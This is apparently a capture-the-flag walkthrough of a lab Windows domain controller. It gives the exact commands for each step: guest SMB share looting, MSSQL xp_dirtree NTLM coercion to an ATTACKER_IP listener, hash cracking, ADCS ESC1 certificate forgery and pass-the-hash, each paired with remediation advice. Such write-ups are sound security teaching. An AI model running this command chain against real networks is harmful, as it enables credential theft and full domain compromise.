J. Perez Duertojperezduerto.info
← all walkthroughs

Escape

Windows· Medium
owned
2026-07-28
time to own
17m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Active Directory Domain Controller for sequel.htb ($TARGET) was fully compromised through a chain of five exploitable misconfigurations. A guest-readable SMB share exposed an internal PDF containing live database credentials.

Those credentials gave access to a SQL Server instance where the xp_dirtree stored procedure forced the service account to authenticate against my own listener, yielding its NTLMv2 hash, which cracked to a weak plaintext password. A WinRM shell as that service account exposed the SQL Server backup error log, which contained a domain user's real password recorded verbatim by SQL Server after the user mistyped it in the username field of a failed login.

Authenticated as that domain user, I queried the Active Directory Certificate Services infrastructure and found a certificate template that permitted any authenticated user to request a certificate with a self-chosen Subject Alternative Name, including administrator@sequel.htb. A forged certificate was issued, PKINIT authentication converted it to the Administrator's NT hash, and a pass-the-hash login over WinRM delivered full domain control.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"

Attack path — how the box was taken

1ReconGuest SMB share enumeration and sensitive document disclosure (T1083, T1552.001)
Mapped services and extracted MSSQL credentials from a guest-readable SMB share
A port sweep of $TARGET revealed a full Active Directory Domain Controller profile: DNS (53), Kerberos (88), LDAP (389/3268/636), SMB (445), MSSQL (1433), and WinRM (5985). Guest SMB access to the Public share returned a single document, 'SQL Server Procedures.pdf'. Extracting the PDF text revealed internal MSSQL setup notes containing a named low-privilege credential — sequel.htb\PublicUser's password — intended for staff connecting to the on-DC SQL Server instance.
Smbclient //$TARGET/Public -U 'guest%' listed SQL Server Procedures.pdf; pdftotext output contained the PublicUser credential inline in the setup instructions.
Exact commands 3
shell

List the Public share without credentials to confirm guest read access.

$ smbclient //$TARGET/Public -U 'guest%' -c 'ls'
shell

Download the exposed PDF.

$ smbclient //$TARGET/Public -U 'guest%' -c 'get "SQL Server Procedures.pdf" /tmp/sql.pdf'
shell

Extract text; reveals sequel.htb\PublicUser's password in the setup section.

$ pdftotext /tmp/sql.pdf -
FixDisable guest SMB access and remove credentials from shared documentsCritical
WeaknessThe Public SMB share was readable without any credentials, and an internal setup document stored a live database username and password in plaintext. Any user on the network, including an unauthorised user, could download the file and authenticate to the SQL Server.
FixDisable the Windows guest account on the Domain Controller (net user guest /active:no) and set RestrictAnonymous = 2 via Group Policy to block anonymous SMB enumeration. Audit all network shares with PowerShell (Get-SmbShare | Get-SmbShareAccess) and remove guest or Everyone read permissions. Immediately rotate the PublicUser MSSQL credential. Going forward, store all service credentials in a secrets manager (Windows DPAPI-protected vault, CyberArk, or Azure Key Vault) rather than in shared documents, and add a pre-commit or DLP scan to catch credential patterns in files staged for sharing.
2FootholdNTLM coercion via MSSQL xp_dirtree (T1187)
Forced the SQL service account to expose its NTLMv2 credentials via xp_dirtree
Connecting to the MSSQL instance as PublicUser, I executed the xp_dirtree extended stored procedure with a UNC path pointing to my own IP. The SQL Server service — running as the domain account sql_svc — initiated an outbound SMB connection to resolve the path, sending its NTLMv2 challenge-response hash to the listener. Responder captured the full hash for sql_svc.
Responder log SMB-NTLMv2-SSP-$TARGET.txt captured the sql_svc NTLMv2-SSP hash immediately after xp_dirtree execution.
Exact commands 3
shell

Start the NTLM capture listener on my VPN interface; run in background before the next step.

$ sudo responder -I tun0 -w
shell

Connect to MSSQL as the guest credential from the PDF.

$ impacket-mssqlclient sequel.htb/PublicUser:$PASSWORD@$TARGET
shell

Run inside the mssqlclient session; replace $ATTACKER_IP with your tun0 address. Forces sql_svc to authenticate outbound to your listener.

$ EXEC master.sys.xp_dirtree "\\$ATTACKER_IP\share",1,1;
FixDisable xp_dirtree and block outbound SMB from the Domain ControllerHigh
WeaknessThe SQL Server allowed the low-privilege PublicUser account to execute the xp_dirtree extended stored procedure. xp_dirtree causes the SQL Server service account to initiate an outbound SMB connection — carrying its NTLM credentials — to any UNC path the caller specifies, handing those credentials to any externally controlled listener.
FixRevoke execute permission on xp_dirtree, xp_fileexist, xp_subdirs, and xp_cmdshell for all non-sysadmin roles: REVOKE EXECUTE ON xp_dirtree TO PUBLIC; Confirm with: SELECT * FROM sys.database_permissions WHERE permission_name = 'EXECUTE'. At the network layer, add a Windows Firewall rule blocking outbound TCP 445 and TCP 139 from the SQL Server host to all addresses except peer Domain Controllers. Enable SQL Server Audit to alert on execution of these procedures by non-sysadmin accounts.
3Credential AccessOffline NTLMv2 hash cracking (T1110.002)
Cracked the captured NTLMv2 hash to recover the sql_svc plaintext password
The NTLMv2-SSP hash captured for sql_svc was submitted to an offline GPU cracking rig (RTX 3090, approximately 110 GH/s against NTLM). The password was recovered within seconds, confirming the service account used a weak, dictionary-based credential despite having domain network-authentication privileges and WinRM access to the Domain Controller.
Hash cracked to sql_svc's password; credential validated via nxc winrm returning Pwn3d! Against $TARGET.
Exact commands 3
shell

Read the captured hash from Responder's log directory.

$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt
shell

Crack the NTLMv2 hash; recovers <withheld>. Run on the GPU host, not the Kali VM.

$ hashcat -m 5600 sql_svc.hash /usr/share/wordlists/rockyou.txt --force
shell

Validate the recovered credential against WinRM; expect Pwn3d!.

$ nxc winrm $TARGET -d sequel.htb -u sql_svc -p "$PASSWORD2"
FixReplace service account passwords with Group Managed Service AccountsHigh
WeaknessThe sql_svc domain service account used a short, dictionary-based password that was cracked from its captured NTLMv2 hash in seconds on commodity GPU hardware. Service accounts that authenticate over the network are high-value targets for this exact attack because their hashes can be coerced and cracked offline without any interaction from the account owner.
FixConvert sql_svc to a Group Managed Service Account (gMSA). gMSA passwords are 240-character random values generated and rotated automatically by the domain every 30 days; they cannot be extracted, guessed, or cracked. Configure the SQL Server service to run under the gMSA (no password required in the service control manager). Where gMSA is not immediately feasible, set a minimum 25-character random passphrase and add sql_svc to the Protected Users security group, which disables NTLM authentication for that account and prevents hash capture entirely.
4Lateral MovementCredential recovery from application log (T1552.001)
Harvested a domain user's plaintext password from the SQL Server error log and captured the user flag
A WinRM shell as sql_svc gave access to the file system on the Domain Controller. The SQL Server backup error log at C:\SQLServer\Logs\ERRORLOG.BAK contained a failed-login entry where domain user Ryan.Cooper had accidentally typed their real password in the username field. SQL Server records the literal text of failed login usernames, so the password was stored and retained in plaintext. Authenticating as Ryan.Cooper over WinRM yielded a Pwn3d! Shell and access to the user flag.
ERRORLOG.BAK contained a login failure entry with Ryan.Cooper's password as the recorded username; nxc WinRM authenticated as Ryan.Cooper with Pwn3d! And returned the user flag.
Exact commands 3
shell

Read the SQL Server backup error log as sql_svc; locate the failed-login entry containing Ryan.Cooper's password.

$ nxc winrm $TARGET -d sequel.htb -u sql_svc -p "$PASSWORD2" -x "Get-Content 'C:\SQLServer\Logs\ERRORLOG.BAK'"
shell

Validate the harvested credential.

$ nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p "$PASSWORD3"
shell

Read the user flag; output is <user.txt>.

$ nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p "$PASSWORD3" -x "type C:\Users\Ryan.Cooper\Desktop\user.txt"
FixRestrict access to SQL Server error logs and treat them as sensitive dataHigh
WeaknessThe SQL Server backup error log (C:\SQLServer\Logs\ERRORLOG.BAK) was readable by the low-privilege sql_svc account and contained Ryan.Cooper's plaintext password. SQL Server records the verbatim text of every failed login's username field; when a user accidentally types their password there instead, it is stored in the log unredacted and retained indefinitely.
FixTighten the NTFS ACL on C:\SQLServer\Logs\ so only the SQL Server service account and BUILTIN\Administrators have read access (icacls 'C:\SQLServer\Logs' /inheritance:d /grant 'MSSQLSERVER:(R)' /grant 'BUILTIN\Administrators:(F)' /remove 'BUILTIN\Users'). Implement log rotation with a short retention window (7 days) and archive to a write-once location. Add a SIEM rule alerting on any read of ERRORLOG files by accounts other than the SQL service. Inform users that a mistyped password in a login dialog will appear in server logs and should be reported immediately so the credential can be rotated.
5Privilege EscalationActive Directory Certificate Services ESC1 — enrollee-supplied Subject Alternative Name (T1649)
Identified an ADCS certificate template misconfigured to allow impersonation of any domain identity
Running certipy-ad as Ryan.Cooper against the domain Certificate Authority (sequel-DC-CA) enumerated all published certificate templates. The UserAuthentication template was flagged ESC1-vulnerable: the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag was set, permitting the enrollee to specify any Subject Alternative Name (UPN) in their certificate request, and enrollment rights were granted to the broad group sequel.htb\Domain Users. Any authenticated domain user could therefore obtain a CA-signed certificate asserting any identity, including administrator@sequel.htb.
Certipy-ad find -vulnerable output flagged UserAuthentication: msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT), Enrollment Rights = sequel.htb\Domain Users.
Exact commands 1
shell

Enumerate ADCS templates and print ESC1-ESC8 misconfigurations to stdout; no output file needed.

$ certipy-ad find -u Ryan.Cooper@sequel.htb -p "$PASSWORD3" -dc-ip $TARGET -vulnerable -stdout
FixRemove the enrollee-supplied Subject Alternative Name flag from ADCS certificate templatesCritical
WeaknessThe UserAuthentication certificate template was published with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set and enrollment rights granted to all domain users. This allowed any authenticated user to request a CA-signed certificate asserting any UPN in the domain, including administrator@sequel.htb, and use it to authenticate as that principal and extract their NT hash via PKINIT.
FixOpen the Certificate Templates MMC snap-in (certtmpl.msc) and edit UserAuthentication: under the Subject Name tab, change 'Supply in the request' to 'Build from this Active Directory information'. If a business process genuinely requires enrollee-supplied SANs, enable 'CA Certificate Manager Approval' as a mandatory issuance requirement and restrict the Enroll permission to a named service group rather than Domain Users. Apply Microsoft's ADCS hardening update (KB5014754) and enable Enforcement Mode once templates are corrected. Run certipy-ad find -vulnerable or PSPKIAudit quarterly to detect new ESC1-ESC8 misconfigurations before they are exploited.
6Privilege EscalationAD CS ESC1 certificate request and PKINIT UnPAC-the-hash (T1649)
Forged an Administrator certificate and extracted the domain Administrator NT hash
A certificate request was submitted for the UserAuthentication template with -upn administrator@sequel.htb. The CA issued a signed certificate (admin.pfx) accepted by the KDC as proof of identity for the domain Administrator. Initial PKINIT authentication failed due to clock skew between the Kali host and the DC; after synchronizing my clock to the DC's reported time via an SMB2 timestamp query, certipy-ad auth succeeded and returned the Administrator's NT hash via the PKINIT UnPAC-the-hash technique.
Certipy-ad req returned admin.pfx; after clock sync, certipy-ad auth returned NT hash for administrator@sequel.htb.
Exact commands 4
shell

Request a CA-signed certificate asserting administrator@sequel.htb; saves /tmp/admin.pfx.

$ certipy-ad req -u Ryan.Cooper@sequel.htb -p "$PASSWORD3" -dc-ip $TARGET -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -out /tmp/admin
shell

Query the DC's current time to determine the clock skew before Kerberos authentication.

$ nmap -sT -p445 --script smb2-time $TARGET
shell

Disable NTP and set my clock to match the DC; replace <DC_UTC_TIME> with the value from nmap output.

$ sudo timedatectl set-ntp false && sudo date -u -s "<DC_UTC_TIME>"
shell

Authenticate with the forged certificate; the KDC returns the Administrator NT hash via UnPAC-the-hash.

$ certipy-ad auth -pfx /tmp/admin.pfx -dc-ip $TARGET -username administrator -domain sequel.htb
7Full Domain CompromisePass-the-Hash over WinRM (T1550.002)
Passed the Administrator hash over WinRM and captured the root flag
The NT hash recovered via the ADCS ESC1 chain was passed directly over WinRM using netexec pass-the-hash mode. The Domain Controller accepted it, returning a Pwn3d! Shell with full domain Administrator privileges. The root flag was read from the Administrator's desktop, confirming complete compromise of the sequel.htb domain.
Nxc winrm returned Pwn3d! For administrator with hash; root.txt read from C:\Users\Administrator\Desktop\.
Exact commands 2
shell

Validate pass-the-hash access as domain Administrator; expect Pwn3d!.

$ nxc winrm $TARGET -d sequel.htb -u administrator -H $HASH
shell

Read the root flag; output is <root.txt>.

$ nxc winrm $TARGET -d sequel.htb -u administrator -H $HASH -x "type C:\Users\Administrator\Desktop\root.txt"

Attack patterns used

The transferable techniques behind this compromise.

AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649

What it is

Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.

Why it works

Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.

Read more

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49667/tcp
49689/tcp
49690/tcp
49713/tcp
49722/tcp
49743/tcp
53/udp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.